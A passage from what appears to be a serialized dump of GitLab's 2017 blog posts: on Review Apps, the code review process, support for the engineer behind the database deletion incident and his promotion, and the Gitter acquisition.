/images/blogimages/gitlab-in-action-part-2/dpe-monkeys.jpg\n[edi-arthurs-seat]: /images/blogimages/gitlab-in-action-part-2/edi-arthurs-seat.jpg\n[edi-burger]:       /images/blogimages/gitlab-in-action-part-2/edi-burger.jpg\n[edi-group]:        /images/blogimages/gitlab-in-action-part-2/edi-group.jpg\n[edi-round-table]:  /images/blogimages/gitlab-in-action-part-2/edi-round-table.jpg\n[gig-group]:        /images/blogimages/gitlab-in-action-part-2/gig-group.jpg\n[gig-office]:       /images/blogimages/gitlab-in-action-part-2/gig-office.jpg\n[gig-redeemer]:     /images/blogimages/gitlab-in-action-part-2/gig-redeemer.jpg\n[lis-group]:        /images/blogimages/gitlab-in-action-part-2/lis-group.jpg\n[lis-surprise-job]: /images/blogimages/gitlab-in-action-part-2/lis-surprise-job.gif\n[mad-aqueduct]:     /images/blogimages/gitlab-in-action-part-2/mad-aqueduct.jpg\n[mex-pyramid]:      /images/blogimages/gitlab-in-action-part-2/mex-pyramid.jpg\n[mex-rooftop]:      /images/blogimages/gitlab-in-action-part-2/mex-rooftop.jpg\n[nce-beach]:        /images/blogimages/gitlab-in-action-part-2/nce-beach.jpg\n[nce-sunset]:       /images/blogimages/gitlab-in-action-part-2/nce-sunset.jpg\n[sof-group]:        /images/blogimages/gitlab-in-action-part-2/sof-group.jpg\n[syd-bridge]:       /images/blogimages/gitlab-in-action-part-2/syd-bridge.jpg\n[tpe-waterfall]:    /images/blogimages/gitlab-in-action-part-2/tpe-waterfall.jpg\n[waw-statue]:       /images/blogimages/gitlab-in-action-part-2/waw-statue.jpg\n[waw-wifi]:         /images/blogimages/gitlab-in-action-part-2/waw-wifi.png\n\n[Adam]:       /company/team/#niedzielskiadam\n[Axil]:       /company/team/#_axil\n[Chris P.]:   /company/team/#ChrisPeressini\n[Chris W.]:   /company/team/#IsChrisW\n[Dmitriy]:    /company/team/#dzaporozhets\n[Douglas]:    /company/team/#dbalexandre\n[Douwe]:      /company/team/#DouweM\n[Eliran]:     /company/team/#eliran_mesika\n[Emily]:      /company/team/#emilylucie\n[Felipe]:     /company/team/#FelipeArtur\n[Filipa]:     /company/team/#FilipaLacerda\n[Grzegorz]:   /company/team/#GrzegorzBizon\n[Kamil]:      /company/team/#ayufanpl\n[James E.J.]: /company/team/#jamedjo\n[James L.]:   /company/team/#jlopezofficial\n[Jen-Shin]:   /company/team/#godfat-gitlab\n[Job]:        /company/team/#Jobvo\n[John]:       /company/team/#northrup\n[Julie]:      /company/team/#_julie_manalo\n[Marcia]:     /company/team/#XMDRamos\n[Mitchell]:   /company/team/#mitchellbwright\n[Nick]:       /company/team/#lupine_85\n[Pablo]:      /company/team/#psczg\n[Pedro]:      /company/team/#pedromscom\n[Rémy]:       /company/team/#rymai\n[Robert]:     /company/team/#rspeicher\n[Sean M.]:    /company/team/#mcgivernsa\n[Sean P.]:    /company/team/#SeanPackham\n[Tiago]:      /company/team/#tiagobotelho9\n[Tomasz]:     /company/team/#TomaszMaczukin\n[Yorick]:     /company/team/#yorickpeterse\n[Zeger-Jan]:  /company/team/#zjvandeweg\n",{"slug":36060,"featured":6,"template":678},"gitlab-in-action-part-2","content:en-us:blog:gitlab-in-action-part-2.yml","Gitlab In Action Part 2","en-us/blog/gitlab-in-action-part-2.yml","en-us/blog/gitlab-in-action-part-2",{"_path":36066,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36067,"content":36073,"config":36077,"_id":36079,"_type":16,"title":36080,"_source":17,"_file":36081,"_stem":36082,"_extension":20},"/en-us/blog/review-apps-continuous-case-study",{"title":36068,"description":36069,"ogTitle":36068,"ogDescription":36069,"noIndex":6,"ogImage":36070,"ogUrl":36071,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36071,"schema":36072},"Complete, but never finished/:/ Review Apps","Find out how we used a continuous approach to release Review Apps early and improve on it in small iterations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671443/Blog/Hero%20Images/review_apps_cover.png","https://about.gitlab.com/blog/review-apps-continuous-case-study","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Complete, but never finished/:/ Review Apps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-03-21\",\n      }",{"title":36068,"description":36069,"authors":36074,"heroImage":36070,"date":36075,"body":36076,"category":8943},[19026],"2017-03-21","\n\nContinuous methods go beyond integration, delivery and deployment. Releasing early and often, and keeping all team members in the loop throughout the development lifecycle, helps everyone in an organization to work more efficiently and deliver customer value consistently. Here at GitLab, we strive to make being continuous part of our lives. One example of this is our Review Apps feature.\n\n\u003C!-- more -->\n\n## What are Review Apps?\n\n[Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) are ephemeral app environments that are created dynamically every time you push a new branch up to GitLab, and they're automatically deleted when the branch is deleted. What this means in practice is that rather than having a single dev environment for a project, or even separate dev apps for each developer, you get a new app for every topic branch, automatically. This lets you test and demo new features easily: product managers can check out exactly what a merge request is going to look like without having to download and run a topic branch, while QA and other users can take a look without having a development environment installed on their laptop at all.\n\n## How we released Review Apps\n\nWe really wanted to add the Review Apps feature, because having a live environment for every feature a team is working on is just so transformative. We spent months debating the best way to go about doing this, until we arrived at what we thought was the best method. Now, we had all of these great ideas to magically make it work, automatically detect your environment, and more. But if we tried to do all those things, it would be months before we shipped for people to use and get feedback (even ourselves!).\n\nWe knew we had to cut the scope until we could develop and ship the essence of this feature in a single release. Ultimately we came up with a way to add two simple options to our CI platform: to set the Name and URL of an environment. We shipped just that small set of changes in [8.12](/releases/2016/09/22/gitlab-8-12-released/), and it enabled users to start leveraging review environments right away.\n\n## Continuous improvement on Review Apps\n\nIn [the next release](/releases/2016/10/22/gitlab-8-13-released/) we added the ability to stop and delete these apps, because there wasn’t a UI-based method to stop them in the first release! In [the following release](/blog/introducing-review-apps/), we started to get back to some of that magic by being able to automatically stop and delete review environments whenever a branch was merged and removed.\n\nThis approach allowed us to collect really early feedback on the feature, and ensure we were building in the right direction.\n\nTo find out more about how to introduce a continuous mentality throughout your entire organization, [register now](https://page.gitlab.com/20170301_continuouseverything.html) to watch our webcast, **From Continuous Integration to Continuous Everything**, on demand.\n",{"slug":36078,"featured":6,"template":678},"review-apps-continuous-case-study","content:en-us:blog:review-apps-continuous-case-study.yml","Review Apps Continuous Case Study","en-us/blog/review-apps-continuous-case-study.yml","en-us/blog/review-apps-continuous-case-study",{"_path":36084,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36085,"content":36091,"config":36095,"_id":36097,"_type":16,"title":36098,"_source":17,"_file":36099,"_stem":36100,"_extension":20},"/en-us/blog/demo-mastering-code-review-with-gitlab",{"title":36086,"description":36087,"ogTitle":36086,"ogDescription":36087,"noIndex":6,"ogImage":36088,"ogUrl":36089,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36089,"schema":36090},"Demo: Mastering code review with GitLab","Code review shouldn't be a burden, it should make your team better and faster so you can keep delivering new features on time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670664/Blog/Hero%20Images/code.png","https://about.gitlab.com/blog/demo-mastering-code-review-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: Mastering code review with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-03-17\",\n      }",{"title":36086,"description":36087,"authors":36092,"heroImage":36088,"date":36093,"body":36094,"category":6634},[22017],"2017-03-17","\nWatch Discussion Lead Sean McGivern demonstrate our typical code review process.\n\n\u003C!-- more -->\n\nWhatever your team’s workflow, we expect you face immense pressure to quickly ship new features. In our [2016 Developer Survey](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html), 81 percent of developers admit to releasing code before it’s ready, citing the pressure of tight or unrealistic deadlines as the reason they release prematurely. To combat this pressure, engineering teams need a process they can repeat every time, so there are no steps skipped during a time crunch. Our code review tools were built with the aim of enhancing your review process, taking you from idea to production while setting new personal records for code delivery speed and quality.\n\n## Demo\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/HagT3a33BA8\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## Typical flow\n\nExcellent code depends on rigorous review. At GitLab, every change is reviewed using this flow:\n\n* A developer makes a change in their feature branch and tests it. When they’re happy they push, and make a merge request.\n* The developer assigns the merge request to a reviewer, who looks at it and makes line and design level comments as appropriate. When the reviewer is finished, they assign it back to the author.\n* The author addresses the comments. This stage can go around for a while, but once both are happy, one assigns to a final reviewer who can merge.\n* The final reviewer follows the same process again. The author again addresses any comments, either by changing the code or by responding with their own comments.\n* Once the final reviewer is happy and the build is green, they will merge.\n\nTo find out more about the importance of code quality, considerations for teams of different sizes and stages, and details on how we develop at GitLab while using GitLab, [watch our webcast, \"Code Review: A Business Imperative\"](https://www.youtube.com/watch?v=XluG9mAQdSo&feature=youtu.be) on demand.\n\nInterested in GitLab Enterprise Edition? Check out the [features exclusive to\nEE](/pricing/).\n",{"slug":36096,"featured":6,"template":678},"demo-mastering-code-review-with-gitlab","content:en-us:blog:demo-mastering-code-review-with-gitlab.yml","Demo Mastering Code Review With Gitlab","en-us/blog/demo-mastering-code-review-with-gitlab.yml","en-us/blog/demo-mastering-code-review-with-gitlab",{"_path":36102,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36103,"content":36109,"config":36112,"_id":36114,"_type":16,"title":36115,"_source":17,"_file":36116,"_stem":36117,"_extension":20},"/en-us/blog/how-is-team-member-1-doing",{"title":36104,"description":36105,"ogTitle":36104,"ogDescription":36105,"noIndex":6,"ogImage":36106,"ogUrl":36107,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36107,"schema":36108},"How is team-member-1 doing?","People asked how team-member-1 is doing after the DB incident of Jan 31st - Feb 1st. We're here to tell you that.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666665/Blog/Hero%20Images/man-standing.jpg","https://about.gitlab.com/blog/how-is-team-member-1-doing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How is team-member-1 doing?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2017-03-17\",\n      }",{"title":36104,"description":36105,"authors":36110,"heroImage":36106,"date":36093,"body":36111,"category":299},[34953],"\nThe engineer that gave the unfortunate command to [delete our primary database](/blog/gitlab-dot-com-database-incident/) was not only on our minds but also of other people. He's known by the community as \"team-member-1\", as we referred to him by this expression in our public communications during the incident.\n\nAfter we posted [the postmortem of the incident with GitLab.com](/blog/postmortem-of-database-outage-of-january-31/), we received notes from our community asking how was _team-member-1_ doing. We're here to tell you that.\n\nWe are still putting all our efforts into improving GitLab.com's infrastructure as a whole, to ensure this type of incident never happens again.\n\n\u003C!-- more -->\n\n## #HugOps\n\nWe were all really touched by the love our community sent us via [#HugOps](https://twitter.com/i/moments/826818668948549632):\n\n\u003Cdiv class=\"row\">\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/hashtag/HugOps?src=hash\">#HugOps\u003C/a> to the \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> team! Love your transparency. The only person who never breaks anything is the one who never does anything.\u003C/p>&mdash; Mindy Whitsitt (@MindyWhitsitt) \u003Ca href=\"https://twitter.com/MindyWhitsitt/status/827197361864720384\">February 2, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">All the \u003Ca href=\"https://twitter.com/hashtag/hugops?src=hash\">#hugops\u003C/a> in the world to the GitLab team for fixing their services. And *massive* respect for their communication about the issue.\u003C/p>&mdash; ma//:as (@mattiasgeniar) \u003Ca href=\"https://twitter.com/mattiasgeniar/status/826997025963122688\">February 2, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n\u003C/div>\n\n**At the end of the day, we are all _team-member-1_**:\n\n\u003Cdiv class=\"row\">\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Who is not the &quot;team-member-1&quot;? \u003Ca href=\"https://twitter.com/hashtag/HugOps?src=hash\">#HugOps\u003C/a>\u003C/p>&mdash; Erkan Erol (@erkan_erol_) \u003Ca href=\"https://twitter.com/erkan_erol_/status/827040981677649921\">February 2, 2017\u003C/a>\u003C/blockquote>\n    \u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/hashtag/HugOps?src=hash\">#HugOps\u003C/a> to \u003Ca href=\"https://twitter.com/gitlabstatus\">@gitlabstatus\u003C/a> \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> - we&#39;ve all been there. You&#39;ve got this! 💙🤖\u003C/p>&mdash; CircleCI (@circleci) \u003Ca href=\"https://twitter.com/circleci/status/826829739545415680\">February 1, 2017\u003C/a>\u003C/blockquote>\n    \u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> welcome to the club:) You will be stronger than ever. Just keep on improving and never give up. 🤗 \u003Ca href=\"https://twitter.com/hashtag/hugops?src=hash\">#hugops\u003C/a>\u003C/p>&mdash; Lemi Orhan Ergin (@lemiorhan) \u003Ca href=\"https://twitter.com/lemiorhan/status/826858037994483712\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"und\" dir=\"ltr\">\u003Ca href=\"https://twitter.com/hashtag/JeSuisTeamMember1?src=hash\">#JeSuisTeamMember1\u003C/a> \u003Ca href=\"https://twitter.com/hashtag/GitLab?src=hash\">#GitLab\u003C/a> \u003Ca href=\"https://t.co/bxvag3XdXV\">pic.twitter.com/bxvag3XdXV\u003C/a>\u003C/p>&mdash; kiru (@karmukis) \u003Ca href=\"https://twitter.com/karmukis/status/826875580465414145\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n\u003C/div>\n\n### Support from our community\n\nThe support our engineers received from our community was fantastic, people were appreciative of our [transparency](https://handbook.gitlab.com/handbook/values/) in working on the solution. Even teams from other companies, who had been in that situation themselves, showed their support.\n\n\u003Cdiv class=\"row\">\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Offering a heartfelt \u003Ca href=\"https://twitter.com/hashtag/hugops?src=hash\">#hugops\u003C/a> to my friends at \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a>. Good people taking care of a tough situation. We are all here with you!\u003C/p>&mdash; Jono Bacon (@jonobacon) \u003Ca href=\"https://twitter.com/jonobacon/status/826828642151862272\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">The \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> handling of today&#39;s incident was exemplary. They were very transparent and up-front. We are all with team_member_1 \u003Ca href=\"https://twitter.com/hashtag/hugops?src=hash\">#hugops\u003C/a>\u003C/p>&mdash; Markos Fragkakis (@fragkakis) \u003Ca href=\"https://twitter.com/fragkakis/status/826914947028418561\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n\u003C/div>\n\u003Cdiv class=\"row\">\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Kudos got \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> on their level of transparency.  I have a lot of respect for you...\u003C/p>&mdash; Ben Kuhl (@bkuhlorelse) \u003Ca href=\"https://twitter.com/bkuhlorelse/status/826797385410080768\">February 1, 2017\u003C/a>\u003C/blockquote>\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Whoah! Really big kudos for \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> and the updates at \u003Ca href=\"https://twitter.com/gitlabstatus\">@gitlabstatus\u003C/a> ! Being honest about mistakes, transparency and the whole story!\u003C/p>&mdash; Rob Haverkamp (@rjrhaverkamp) \u003Ca href=\"https://twitter.com/rjrhaverkamp/status/826761189057236992\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n  \u003Cdiv class=\"col-md-6 col-sm-12 center\">\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">This is next level corporate transparency. Kudos to \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a>! \u003Ca href=\"https://t.co/ZvHicD7TK3\">https://t.co/ZvHicD7TK3\u003C/a>\u003C/p>&mdash; Thomas Chappelow (@tomchappelow) \u003Ca href=\"https://twitter.com/tomchappelow/status/826715341044772865\">February 1, 2017\u003C/a>\u003C/blockquote>\n    \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Serious props and respect to the \u003Ca href=\"https://twitter.com/gitlab\">@gitlab\u003C/a> team during the recent incident. transparency++; you&#39;ve all set a new standard \u003Ca href=\"https://twitter.com/hashtag/hugops?src=hash\">#hugops\u003C/a>\u003C/p>&mdash; Laura Frank (@rhein_wein) \u003Ca href=\"https://twitter.com/rhein_wein/status/826875055703543808\">February 1, 2017\u003C/a>\u003C/blockquote>\n  \u003C/div>\n\u003C/div>\n\n❤️ &nbsp;**Thank you all! We're very touched by your support!**&nbsp; ❤️\n{: .alert .alert-gitlab-purple .text-center}\n\n{::options parse_block_html=\"true\" /}\n\nThe Codefresh team brought cookies to our Experience Center in San Francisco with a card saying:\n\n> _Hey GitLab, We thought you could use a chance to destress a little. Don't sweat it we're rooting for you. We've all been there before and we have a lot of faith in you to work it out. You got THIS! From Dan, and the Codefresh Team_\n\nA group from Google came to our Experience Center and got our engineers $300 to spend on something to make them feel better after all of this was over:\n\n> _Yay for you! We've all been there! :) From friends of yours at Google_\n\n\u003Cdiv class=\"row\">\n\u003Cdiv class=\"col-md-6 col-sm-12 center-block\">\n\n![Google gift card](https://about.gitlab.com/images/blogimages/how-is-team-member-1-doing/google-gift.png){: .center-block}\u003Csmall>\u003Cem>*Gift from Google*\u003C/em>\u003C/small>\n\n\u003C/div>\n\u003Cdiv class=\"col-md-6 col-sm-12 center-block\">\n\n![Codefresh cookies](https://about.gitlab.com/images/blogimages/how-is-team-member-1-doing/colefresh-cookies.jpg){: .center-block}\u003Csmall>\u003Cem>*Gift from Codefresh*\u003C/em>\u003C/small>\n\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\n❤️ &nbsp;**Thank you Codefresh and Google!**&nbsp; ❤️\n{: .alert .alert-gitlab-purple .text-center}\n\nThe engineers involved have agreed that this extremely generous gift from Google will be spent on [sponsoring Rails Girls events](https://railsgirlssummerofcode.org/campaign/). But the cookies were obviously eaten by the one who grabbed the pack! 😛\n\nNeedless to say, some special **thank you** swag is on its way to these amazing people that took the time to come to our boardroom and try to help us feel a bit better.\n\n## GitLab Values\n\nAt GitLab we think that the people making the most mistakes frequently correlate with the people doing the most work. I certainly make a lot of mistakes every day. It is important not to double down on them but to acknowledge them and learn from it.\n\nWe make mistakes. What's different from person to person, organization to organization, is how to deal with them. What we [value](https://handbook.gitlab.com/handbook/values/) most at GitLab is:\n\n> - _**Transparency**: \"Don't be afraid to admit you made a mistake or were wrong. When something went wrong it is a great opportunity to say 'What’s the kaizen moment here?' and find a better way without hurt feelings.\"_\n- _**Collaboration**: \"Say sorry if you made a mistake apologize. Saying sorry is not a sign of weakness but one of strength. The people that do the most will likely make the most mistakes.\"_\n- _**Behaviour**:_\n  - _Be truthful and honest._\n  - _Be dependable, reliable, fair, and respectful._\n  - _Be committed, creative, inspiring, and passionate._\n\nHow could we value transparency if our team members were afraid of assuming their mistakes?\n\n> _It is not our intent to have one of our team members implicated by the transparency. (...) We are very aware of the stress that such a mistake might cause and the rest of the team has been very supportive. (...) We recognize the risk to the company of being transparent, but your values are defined by what you do when it is hard._ [Sid Sijbrandij, CEO](https://news.ycombinator.com/item?id=13622645).\n\n## Team-member-1\n\nWhile we were putting the fire out, we received this comment:\n\n> _The GitLab engineer (team-member-1) is one of the smartest people he's ever known - in fact, he's actually brilliant. So you can rest assured that the data loss wasn't caused by a an inexperienced kid._ ([HN](https://news.ycombinator.com/item?id=13621016))\n\nAnd this thoughtful tweet:\n\n\u003Cdiv class=\"center\">\n  \u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Pray for team-member-1 \u003Ca href=\"https://t.co/foQcWm0WJH\">pic.twitter.com/foQcWm0WJH\u003C/a>\u003C/p>&mdash; Rubén Fernández (@_rubenfa) \u003Ca href=\"https://twitter.com/_rubenfa/status/826785807495213058\">February 1, 2017\u003C/a>\u003C/blockquote>\n\u003C/div>\n\nWe heard you Rubén! :)\n\nYes, _team-member-1_ is doing very well!\n\nCoincidentally, just before the DB incident, _team-member-1_ had qualified for a promotion to senior developer. The outage did not change that decision.\n\n> _Promotions are to be based on meeting the criteria of the role the individual is to be promoted in to (i.e. promote based on performance)_ - [GitLab PeopleOps Handbook](/handbook/people-group/promotions-transfers/)\n\nWhen we promote people at GitLab, or give a them a [bonus](/handbook/incentives/#discretionary-bonuses), we share the reasons for that with the whole company. With the permission of _team-member-1_, this blog post is both the internal and external announcement of that promotion.\n\n### Reasons for promoting _team-member-1_\n\n[Pablo Carranza](/company/team/#psczg) (Production Lead), provided GitLab with the following reasons to promote _team-member-1_:\n\n{::options parse_block_html=\"true\" /}\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n\nReasons\n{: .panel-heading}\n\n\u003Cdiv class=\"panel-body\">\n\n_Following what is expected out of a Senior Developer in the [job description](https://handbook.gitlab.com/job-families/engineering/backend-engineer/):_\n\nSenior Developers are experienced developers who meet the following criteria:\n\n1.  **Technical Skills**\n    *   Are able to write modular, well-tested, and maintainable code _- I think this is out of the question here and we have enough samples_\n    *   Know a domain really well and radiate that knowledge _- He already got a bonus for how he shares his knowledge, he is always raising the bar here._\n    *   Contribute to one or more complementary projects _- His contributions are numerous to all the GitLab ecosystem, including building the whole [performance monitoring metrics](https://dashboards.gitlab.com) system that we use to understand why GitLab is slow. Including projects like [allocations](https://gitlab.com/gitlab-org/allocations) that is used to track low level Ruby metrics_\n2.  **Leadership**\n    *   Begins to show architectural perspective _- He is involved in [Gitaly](https://gitlab.com/gitlab-org/gitaly) since before it had this name, and architectural paradigm change that will affect GitLab profoundly. He is also heavily involved in [whatever goes near the database](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/6292)._\n    *   Proposing new ideas, performing feasibility analyses and scoping the work _- This is what he is doing all the time, all of GitLab development community values his input and his opinion is highly valued._\n3.  **Code quality**\n    *   Leaves code in substantially better shape than before _- Agreed, he does this. Refer to the links provided at the bottom_\n    *   Fixes bugs/regressions quickly _- He has even performed there operations in production itself providing hotfixes._\n    *   Monitors overall code quality/build failures - _[MR](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7310)_\n    *   Creates test plans - _[MR](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8191#note_20300210)_\n4.  **Communication**\n    *   Provides thorough and timely code feedback for peers - _Refer to code quality section._\n    *   Able to communicate clearly on technical topics - _He created our [performance](https://docs.gitlab.com/ee/development/performance.html) and [sidekiq](https://docs.gitlab.com/ee/development/sidekiq/index.html) style guidelines - Both these samples are pushing for improving the quality of GitLab as a whole, way beyond the scope of a single MR._\n    *   Keeps issues up-to-date with progress _- He is a bar raiser here, check any of his issues, they are up to date all the time._\n    *   Helps guide other merge requests to completion - _He does this leading to a [successful](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7121) merge and has the capacity to [reject MRs](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8044) depending on how they will impact GitLab (another sample on pushing back can be found [here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/7067))._\n    *   Helps with recruiting _- He is currently helping me to find a database specialist by reviewing job applications performing the initial filter._\n5.  **Performance & Scalability**\n    *   Excellent at writing production-ready code with little assistance _- He has been leading the performance effort for the last year, I think this is out of the question - He owned moving to postgres 9.6 on his own, a massive undertaking that was performed without a single glitch._\n    *   Able to write complex code that can scale with a significant number of users _- Same thing as before, he is the one paving the path for the rest of GitLab in this area. Definitely a bar riser._\n\n_A final sample can be found [here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/8191/diffs#note_20288482) where one of our backend leads asks him for support on how to perform a large migration without causing downtime._ \n\n_These samples are just the tipping point the work that he has been performing for quite a while already. This work got us to the situation where we can deploy the application with minimum downtime, even adding [automation to detect when a migration will force us to cause downtime](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/4911), removing human judgment from the equation._\n\n_His work is constantly impacting all the company in both depth and breath, I can find lots of samples on any of the items that are included in the job description, I can even find samples that match to the staff developer. Therefore I think that he has been behaving as a Senior Developer, and I ask that this behavior gets recognized and formalized by GitLab._\n\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\n### We support each other\n\nFor those developers involved in the outage, we made a special T-shirt:\n\n![T-shirt back](https://about.gitlab.com/images/blogimages/how-is-team-member-1-doing/team-member-1-tshirt.jpg){: .center-block}\n\nThis T-shirt has two purposes. It reminds us what happened and motivates us not to let this happen again. It was also meant to thank the team that handled the incident, for that reason only they have gotten one.\n\n## Wrapping Up\n\nAt GitLab, we value most positive achievements and performance improvements of our team members, instead of focusing our attention on negative random situations.\n\nOf course, we take situations like this very seriously, but we'd rather learn from them, and put all our efforts to avoid that they happen again, than punish honest and talented people for mistakes that can happen to anyone.\n\n> _What doesn't kill you makes you stronger._ ([HN](https://news.ycombinator.com/item?id=13621356))\n",{"slug":36113,"featured":6,"template":678},"how-is-team-member-1-doing","content:en-us:blog:how-is-team-member-1-doing.yml","How Is Team Member 1 Doing","en-us/blog/how-is-team-member-1-doing.yml","en-us/blog/how-is-team-member-1-doing",{"_path":36119,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36120,"content":36126,"config":36130,"_id":36132,"_type":16,"title":36133,"_source":17,"_file":36134,"_stem":36135,"_extension":20},"/en-us/blog/gitter-acquisition",{"title":36121,"description":36122,"ogTitle":36121,"ogDescription":36122,"noIndex":6,"ogImage":36123,"ogUrl":36124,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36124,"schema":36125},"Gitter is joining the GitLab team","We're excited to announce that Gitter has been acquired by GitLab!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684005/Blog/Hero%20Images/gitter-gitlab-blog-cover.png","https://about.gitlab.com/blog/gitter-acquisition","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Gitter is joining the GitLab team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2017-03-15\",\n      }",{"title":36121,"description":36122,"authors":36127,"heroImage":36123,"date":36128,"body":36129,"category":299},[3532],"2017-03-15","\n\nToday we have some exciting news to announce: [Gitter](https://gitter.im) has been acquired by [GitLab](https://gitlab.com/)!\n\n\u003C!-- more -->\n\nSince its launch in 2014, Gitter has fast become the place to connect the open source and software development community. Over 800,000 developers have signed up to Gitter, where they can join any of the thousands of chat communities and connect with one another to discuss software and technology.\n\nCommunity is core to GitLab’s principles. Our [mission is to ensure that everyone can contribute](/company/mission/#mission), and over a thousand developers have contributed to GitLab CE. This acquisition is part of the [our strategic plan](/company/strategy/#sequence) to become the most popular SaaS solution for public repositories. While we are still years away from reaching this goal, we recognize great project chat is an essential element of most open source projects. Gitter is the leading solution and we expect it to grow even larger in the coming years. When the opportunity came to combine forces, we decided to do it.\n\nGitter will continue to operate as a standalone network, continuing to making its project chat capabilities available to all. Over the coming months, the GitLab integration will be improved to include 'Login with GitLab' and the ability to easily create chat rooms and communities from GitLab groups and projects.\n\nMore importantly, we will open source the whole of Gitter, allowing members of the community to contribute and improve the product for everyone!\n\nGitter has always provided unlimited free chat for public communities, as part of the acquisition, all private conversations will now be free and unlimited too.\n\nThe coming years we want to work with the wider community to make Gitter a great help to run open source communities. After open sourcing, we'll focus our attention in adding login with GitLab, GitLab backed Gitter communities, and finishing the Topics feature that is [already released in beta on Gitter](https://gitter.im/gitterHQ/topics). We'll discuss with the wider community what is next after that, for example it could be a feature that helps with maintaining a core team.\n\nTo see what this means for you please take a look at the Q&A below and the [blog post from Gitter about this acquisition](http://blog.gitter.im/2017/03/15/gitter-gitlab-acquisition/).\n\nWant to know more about Gitter and GitLab in the future? Sign up for our newsletter to get product updates and announcements, helpful tips and guides, and more delivered to your inbox.\n\n\u003Cscript 